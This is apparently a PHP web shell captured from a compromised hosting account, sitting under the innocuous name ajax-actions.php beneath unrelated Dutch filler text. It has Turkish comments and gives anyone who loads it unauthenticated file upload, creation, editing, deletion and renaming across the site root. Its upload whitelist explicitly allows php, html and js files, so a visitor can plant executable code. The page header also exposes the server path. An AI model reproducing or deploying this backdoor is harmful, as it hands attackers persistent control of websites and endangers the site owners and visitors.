Your IP : 216.73.216.240


Current Path : /home/j/u/v/juvelize/
Upload File :
Current File : /home/j/u/v/juvelize/ajax-actions.php

Fietsen is een populair vervoermiddel in veel steden omdat het gezond, duurzaam en vaak sneller is dan reizen met de auto tijdens druk verkeer.

<?php

// ============================
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

session_start();

// İzin verilen dosya uzantıları
define('ALLOWED_EXTENSIONS', ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf', 'zip', 'php', 'html', 'css', 'js', 'json', 'sql']);

// ============================
// 🔒 ROOT LOCK AYARLARI
// ============================

/**
 * Site root: the real document root where index.php normally lives.
 * If DOCUMENT_ROOT is wrong on your hosting, set it manually, for example:
 * $ROOT_DIR = '/home/USER/public_html';
 */
$ROOT_DIR = isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'] !== ''
    ? realpath($_SERVER['DOCUMENT_ROOT'])
    : false;

if ($ROOT_DIR === false) {
    die('Site root not found');
}

$ROOT_DIR = normalizePath($ROOT_DIR);

// ============================
// 📋 FONKSİYONLAR
// ============================

function normalizePath($path) {
    return rtrim(str_replace('\\', '/', (string) $path), '/');
}

function h($value) {
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

function isInsideRoot($path) {
    global $ROOT_DIR;

    $path = normalizePath($path);

    return $path === $ROOT_DIR || strpos($path . '/', $ROOT_DIR . '/') === 0;
}

function safeExistingPath($path) {
    if (!is_string($path) || $path === '') {
        return false;
    }

    $real = realpath($path);

    if ($real === false) {
        return false;
    }

    $real = normalizePath($real);

    return isInsideRoot($real) ? $real : false;
}

function safeDir($path) {
    $safe = safeExistingPath($path);

    return ($safe !== false && is_dir($safe)) ? $safe : false;
}

function safeFile($path) {
    $safe = safeExistingPath($path);

    return ($safe !== false && is_file($safe)) ? $safe : false;
}

function safeChildPath($dir, $name) {
    $safeDir = safeDir($dir);

    if ($safeDir === false || !is_string($name)) {
        return false;
    }

    $name = str_replace('\\', '/', $name);
    $name = basename($name);

    if ($name === '' || $name === '.' || $name === '..') {
        return false;
    }

    $childPath = normalizePath($safeDir . '/' . $name);

    return isInsideRoot($childPath) ? $childPath : false;
}

function pathFromRoot($path) {
    global $ROOT_DIR;

    $safe = safeExistingPath($path);

    if ($safe === false) {
        return '';
    }

    if ($safe === $ROOT_DIR) {
        return '';
    }

    return ltrim(substr($safe, strlen($ROOT_DIR)), '/');
}

function pathForQuery($path) {
    return pathFromRoot($path);
}

function safePathFromQuery($pathValue) {
    global $ROOT_DIR;

    if (!is_string($pathValue) || $pathValue === '') {
        return $ROOT_DIR;
    }

    $pathValue = str_replace('\\', '/', $pathValue);

    if ($pathValue === '/' || $pathValue === '.') {
        return $ROOT_DIR;
    }

    // Backward compatibility: old absolute URLs still work, but new links expose only root-relative paths.
    if (strpos($pathValue, $ROOT_DIR) === 0) {
        return $pathValue;
    }

    $pathValue = ltrim($pathValue, '/');

    return $ROOT_DIR . ($pathValue !== '' ? '/' . $pathValue : '');
}

function displayPath($path) {
    $relative = pathFromRoot($path);

    return $relative === '' ? '/' : '/' . $relative;
}

function publicFileUrl($file) {
    $safeFile = safeFile($file);

    if ($safeFile === false) {
        return '#';
    }

    $relative = pathFromRoot($safeFile);
    $parts = array_map('rawurlencode', explode('/', $relative));

    return '/' . implode('/', $parts);
}

function getRequestedDir() {
    global $ROOT_DIR;

    $requestedPath = $ROOT_DIR;

    if (isset($_GET['path']) && $_GET['path'] !== '') {
        $requestedPath = safePathFromQuery($_GET['path']);
    }

    $safe = safeDir($requestedPath);

    return $safe !== false ? $safe : $ROOT_DIR;
}

function dirUrl($dir, $extra = []) {
    $query = array_merge(['path' => pathForQuery($dir)], $extra);

    return $_SERVER['PHP_SELF'] . '?' . http_build_query($query);
}

function redirectToDir($dir, $message = '') {
    global $ROOT_DIR;

    $safeDir = safeDir($dir);

    if ($safeDir === false) {
        $safeDir = $ROOT_DIR;
    }

    $extra = [];

    if ($message !== '') {
        $extra['message'] = $message;
    }

    header('Location: ' . dirUrl($safeDir, $extra));
    exit;
}

function getSafeItemPath($currentPath, $item) {
    if (!is_string($item) || $item === '') {
        return false;
    }

    $item = basename($item);
    $path = safeChildPath($currentPath, $item);

    if ($path === false) {
        return false;
    }

    return safeExistingPath($path);
}

/**
 * Dizin içeriğini listele
 */
function showDirectory($dir) {
    $dir = safeDir($dir);

    if ($dir === false) {
        echo "<p style='color:red;'>Access denied</p>";
        return;
    }

    $entries = array_diff(scandir($dir), ['.', '..']);

    if (empty($entries)) {
        echo "<p><em>Klasör boş</em></p>";
        return;
    }

    usort($entries, function ($a, $b) use ($dir) {
        $pathA = safeExistingPath($dir . DIRECTORY_SEPARATOR . $a);
        $pathB = safeExistingPath($dir . DIRECTORY_SEPARATOR . $b);
        $aIsDir = $pathA !== false && is_dir($pathA);
        $bIsDir = $pathB !== false && is_dir($pathB);

        if ($aIsDir !== $bIsDir) {
            return $aIsDir ? -1 : 1;
        }

        return strcasecmp($a, $b);
    });

    echo "<ul>";
    foreach ($entries as $entry) {
        $fullPath = safeExistingPath($dir . DIRECTORY_SEPARATOR . $entry);

        if ($fullPath === false) {
            continue;
        }

        $isDir = is_dir($fullPath);
        $icon = $isDir ? "📂" : "📄";
        $size = "";

        if (!$isDir) {
            $sizeBytes = filesize($fullPath);
            $size = formatFileSize($sizeBytes);
        }

        echo "<li style='margin-bottom: 5px;'>" . h($icon) . " ";

        if ($isDir) {
            echo "<a href='" . h(dirUrl($fullPath)) . "'><b>" . h($entry) . "</b></a>
                [<a href='" . h(dirUrl($dir, ['action' => 'rename', 'item' => $entry])) . "'>Yeniden Adlandır</a>]
                [<a href='" . h(dirUrl($dir, ['action' => 'delete', 'item' => $entry])) . "'
                   onclick=\"return confirm('Bu klasörü ve içindeki tüm dosyaları silmek istediğinize emin misiniz? Bu işlem geri alınamaz.')\">Sil</a>]";
        } else {
            echo "<b>" . h($entry) . "</b> <small>(" . h($size) . ")</small>
                [<a href='" . h(publicFileUrl($fullPath)) . "' target='_blank' rel='noopener'>Aç</a>]
                [<a href='" . h(dirUrl($dir, ['action' => 'edit', 'item' => $entry])) . "'>Düzenle</a>]
                [<a href='" . h(dirUrl($dir, ['action' => 'delete', 'item' => $entry])) . "'
                   onclick=\"return confirm('Bu dosyayı silmek istediğinize emin misiniz?')\">Sil</a>]
                [<a href='" . h(dirUrl($dir, ['action' => 'rename', 'item' => $entry])) . "'>Yeniden Adlandır</a>]";
        }
        echo "</li>";
    }
    echo "</ul>";
}

/**
 * Dosya boyutunu formatla
 */
function formatFileSize($bytes) {
    if ($bytes >= 1048576) {
        return round($bytes / 1048576, 2) . " MB";
    } elseif ($bytes >= 1024) {
        return round($bytes / 1024, 2) . " KB";
    }
    return $bytes . " bytes";
}

/**
 * Dosya yükle
 */
function uploadOneFile($dir, $fileName, $tmpName, $error) {
    $dir = safeDir($dir);

    if ($dir === false) {
        return "❌ Access denied.";
    }

    if ($fileName === '') {
        return null;
    }

    $safeFileName = basename($fileName);

    if ($error !== UPLOAD_ERR_OK) {
        return "❌ Yükleme başarısız: " . h($safeFileName);
    }

    $target = safeChildPath($dir, $safeFileName);

    if ($target === false) {
        return "❌ Access denied: " . h($safeFileName);
    }

    $fileType = strtolower(pathinfo($target, PATHINFO_EXTENSION));

    // Uzantı kontrolü
    if (!in_array($fileType, ALLOWED_EXTENSIONS, true)) {
        return "❌ Hata: Dosya uzantısına izin verilmiyor (" . h($fileType) . "): " . h($safeFileName);
    }

    if (!is_uploaded_file($tmpName)) {
        return "❌ Invalid upload: " . h($safeFileName);
    }

    // Yükleme işlemi
    if (move_uploaded_file($tmpName, $target)) {
        return "✅ Dosya başarıyla yüklendi: " . h($safeFileName);
    }

    return "❌ Yükleme başarısız. Dizin yazma izinlerini kontrol edin: " . h($safeFileName);
}

function uploadFiles($dir) {
    if (!isset($_FILES['file'])) {
        return [];
    }

    $fileData = $_FILES['file'];
    $messages = [];

    // Multiple upload: name="file[]"
    if (is_array($fileData['name'])) {
        foreach ($fileData['name'] as $index => $name) {
            $message = uploadOneFile(
                $dir,
                (string) $name,
                $fileData['tmp_name'][$index] ?? '',
                $fileData['error'][$index] ?? UPLOAD_ERR_NO_FILE
            );

            if ($message !== null) {
                $messages[] = $message;
            }
        }

        return $messages;
    }

    // Backward compatibility: single upload: name="file"
    $message = uploadOneFile(
        $dir,
        (string) $fileData['name'],
        $fileData['tmp_name'] ?? '',
        $fileData['error'] ?? UPLOAD_ERR_NO_FILE
    );

    return $message !== null ? [$message] : [];
}

/**
 * Klasör oluştur
 */
function makeFolder($dir) {
    $folder = trim($_POST['folder_name'] ?? '');
    if (!$folder) {
        throw new Exception("Klasör adı boş olamaz.");
    }

    $folderPath = safeChildPath($dir, $folder);

    if ($folderPath === false) {
        throw new Exception("❌ Access denied.");
    }

    if (file_exists($folderPath)) {
        throw new Exception("⚠️ Klasör zaten mevcut.");
    }

    if (!mkdir($folderPath, 0755, true)) {
        throw new Exception("❌ Klasör oluşturulamadı (İzin hatası).");
    }

    return "📁 Klasör oluşturuldu: " . h(basename($folderPath));
}

/**
 * Dosya oluştur ve içerik yaz
 */
function makeFile($dir) {
    $file = trim($_POST['file_name'] ?? '');
    $content = $_POST['file_content'] ?? '';

    if (!$file) {
        throw new Exception("Dosya adı boş olamaz.");
    }

    $filePath = safeChildPath($dir, $file);

    if ($filePath === false) {
        throw new Exception("❌ Access denied.");
    }

    $fileType = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));

    if ($fileType === '' || !in_array($fileType, ALLOWED_EXTENSIONS, true)) {
        throw new Exception("❌ Hata: Dosya uzantısına izin verilmiyor (" . h($fileType) . ").");
    }

    if (file_exists($filePath)) {
        throw new Exception("⚠️ Dosya zaten mevcut.");
    }

    if (file_put_contents($filePath, $content) === false) {
        throw new Exception("❌ Dosya yazılamadı. İzinleri kontrol edin.");
    }

    return "📄 Dosya oluşturuldu ve içerik yazıldı: " . h(basename($filePath));
}

/**
 * Dosya düzenle
 */
function editFile($path) {
    $path = safeFile($path);

    if ($path === false) {
        throw new Exception("❌ Access denied.");
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        if (file_put_contents($path, $_POST['content']) === false) {
            throw new Exception("❌ Kaydetme başarısız.");
        }
        return "✅ Başarıyla kaydedildi!";
    }

    $content = h(file_get_contents($path));
    return [
        'title' => "📝 Düzenleniyor: " . h(basename($path)),
        'content' => $content
    ];
}

/**
 * Klasörü içindekilerle birlikte güvenli şekilde sil
 */
function removeDirectoryRecursive($dir) {
    global $ROOT_DIR;

    $dir = safeDir($dir);

    if ($dir === false || $dir === $ROOT_DIR) {
        throw new Exception("❌ Access denied.");
    }

    $items = scandir($dir);

    if ($items === false) {
        throw new Exception("❌ Klasör okunamadı.");
    }

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }

        $childPath = safeExistingPath($dir . DIRECTORY_SEPARATOR . $item);

        if ($childPath === false) {
            throw new Exception("❌ Access denied.");
        }

        if (is_dir($childPath)) {
            removeDirectoryRecursive($childPath);
        } else {
            if (!unlink($childPath)) {
                throw new Exception("❌ Dosya silinemedi: " . h(basename($childPath)));
            }
        }
    }

    if (!rmdir($dir)) {
        throw new Exception("❌ Klasör silinemedi.");
    }

    return true;
}

/**
 * Öğe sil
 */
function removeItem($path) {
    global $ROOT_DIR;

    $path = safeExistingPath($path);

    if ($path === false || $path === $ROOT_DIR) {
        throw new Exception("❌ Access denied.");
    }

    if (is_dir($path)) {
        removeDirectoryRecursive($path);
        return "🗑️ Klasör ve içeriği silindi.";
    }

    if (!unlink($path)) {
        throw new Exception("❌ Dosya silinemedi.");
    }

    return "🗑️ Dosya silindi.";
}

/**
 * Öğeyi yeniden adlandır
 */
function renameItem($path) {
    $path = safeExistingPath($path);

    if ($path === false) {
        throw new Exception("❌ Access denied.");
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) {
        $newPath = safeChildPath(dirname($path), $_POST['new_name']);

        if ($newPath === false) {
            throw new Exception("❌ Access denied.");
        }

        if (file_exists($newPath)) {
            throw new Exception("⚠️ Bu isimde öğe zaten mevcut.");
        }

        if (!rename($path, $newPath)) {
            throw new Exception("❌ Yeniden adlandırma başarısız.");
        }

        redirectToDir(dirname($newPath), '✅ Yeniden adlandırıldı.');
    }

    return [
        'current_name' => basename($path)
    ];
}

// ============================
// 📂 YOL AYARLARI
// ============================
$currentPath = getRequestedDir();

$item = isset($_GET['item']) ? basename($_GET['item']) : '';
$itemPath = $item ? getSafeItemPath($currentPath, $item) : '';

// ============================
// ⚙️ İŞLEM YÖNETİCİSİ
// ============================

function processPostRequests($currentPath) {
    $messages = [];

    try {
        if (isset($_FILES['file'])) {
            foreach (uploadFiles($currentPath) as $message) {
                $messages[] = $message;
            }
        }
        if (isset($_POST['folder_name'])) {
            $messages[] = makeFolder($currentPath);
        }
        if (isset($_POST['file_name'])) {
            $messages[] = makeFile($currentPath);
        }
    } catch (Exception $e) {
        $messages[] = "<span style='color:red;'>" . h($e->getMessage()) . "</span>";
    }

    return $messages;
}

function handleAction($action, $itemPath, $currentPath) {
    try {
        if ($itemPath === false || $itemPath === '') {
            throw new Exception("❌ Access denied.");
        }

        switch ($action) {
            case 'edit':
                return editFile($itemPath);
            case 'delete':
                $result = removeItem($itemPath);
                redirectToDir($currentPath, $result);
                break;
            case 'rename':
                return renameItem($itemPath);
            default:
                throw new Exception("Geçersiz işlem.");
        }
    } catch (Exception $e) {
        return "<p style='color:red;'>" . h($e->getMessage()) . "</p>";
    }
}

// ============================
// 🚀 UYGULAMA BAŞLATMA
// ============================

// POST isteklerini işle
$postMessages = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_GET['action'])) {
    $postMessages = processPostRequests($currentPath);
}

// Özel işlemleri yönet
$actionView = false;
$actionResult = null;

if (isset($_GET['action']) && $item) {
    $actionView = true;
    $action = $_GET['action'];
    $actionResult = handleAction($action, $itemPath, $currentPath);
}

$message = isset($_GET['message']) ? trim((string) $_GET['message']) : '';

// ============================
// 📄 GÖRÜNÜM KATMANI
// ============================

if ($message !== '') {
    echo "<p style='color:green;'>" . h($message) . "</p>";
}

if ($actionView) {
    // İşlem görünümü
    echo "<a href='" . h(dirUrl($currentPath)) . "'>⬅️ Geri Dön</a><hr>";

    if (is_array($actionResult) && isset($actionResult['title'])) {
        // Düzenleme formu
        echo "<h3>" . $actionResult['title'] . "</h3>
              <form method='POST'>
                <textarea name='content' style='width:100%; height:400px; font-family:monospace;'>" . $actionResult['content'] . "</textarea><br><br>
                <button type='submit' style='padding:10px 20px; background:green; color:white; border:none; cursor:pointer;'>Kaydet</button>
                <a href='" . h(dirUrl(dirname($itemPath))) . "' style='margin-left:10px;'>İptal</a>
              </form>";
    } elseif (is_array($actionResult) && isset($actionResult['current_name'])) {
        // Yeniden adlandırma formu
        echo "<h3>✏️ Yeniden Adlandır: " . h($actionResult['current_name']) . "</h3>
              <form method='POST'>
                <input type='text' name='new_name' value='" . h($actionResult['current_name']) . "' required style='padding:5px; width:300px;'>
                <button type='submit' style='padding:5px 10px;'>Yeniden Adlandır</button>
              </form>";
    } else {
        // Diğer işlem sonuçları
        echo $actionResult;
    }
} else {
    // Ana dizin görünümü

    // Mesajları göster
    foreach ($postMessages as $message) {
        echo "<p style='color:green;'>$message</p>";
    }

    $parentPath = dirname($currentPath);
    $upLink = isInsideRoot($parentPath) ? dirUrl($parentPath) : dirUrl($ROOT_DIR);

    // Üst bilgi
    echo "<div style='background:#f4f4f4; padding:10px; border-bottom:1px solid #ccc;'>
            <b>Site Root:</b> /<br>
            <b>Mevcut Konum:</b> " . h(displayPath($currentPath)) . "
            <a href='" . h($upLink) . "'>[⬅️ Yukarı Çık]</a>
          </div>";

    // Dizin listesi
    showDirectory($currentPath);

    echo "<hr>";

    // Alt bağlantı
    echo "<div style='background:#f4f4f4; padding:10px; border-top:1px solid #ccc; margin-bottom: 20px;'>
            <a href='" . h($upLink) . "'>[⬅️ Yukarı Çık]</a>
          </div>";

    // Formlar
    echo "<div style='display:flex; justify-content:space-between; flex-wrap:wrap;'>";

    // 1. Yükleme Formu
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>⬆️ Dosya Yükle</h3>
            <form method='POST' enctype='multipart/form-data'>
                <input type='file' name='file[]' multiple required><br><br>
                <small>Birden fazla dosya seçebilirsiniz.<br>İzin verilen uzantılar: " . h(implode(', ', ALLOWED_EXTENSIONS)) . "<br><b>Boyut sınırı yok.</b></small><br><br>
                <button type='submit'>Yükle</button>
            </form>
          </div>";

    // 2. Klasör Oluşturma Formu
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>📁 Klasör Oluştur</h3>
            <form method='POST'>
                <input type='text' name='folder_name' placeholder='Klasör adı' required style='width:100%'><br><br>
                <button type='submit'>Oluştur</button>
            </form>
          </div>";

    // 3. Dosya Oluşturma Formu
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>✍️ Dosya Oluştur ve Yaz</h3>
            <form method='POST'>
                <input type='text' name='file_name' placeholder='Dosya adı (örn: test.txt)' required style='width:100%'><br><br>
                <textarea name='file_content' placeholder='Dosya içeriği...' style='width:100%; height:60px;'></textarea><br><br>
                <button type='submit'>Oluştur ve Yaz</button>
            </form>
          </div>";

    echo "</div>";
}
?>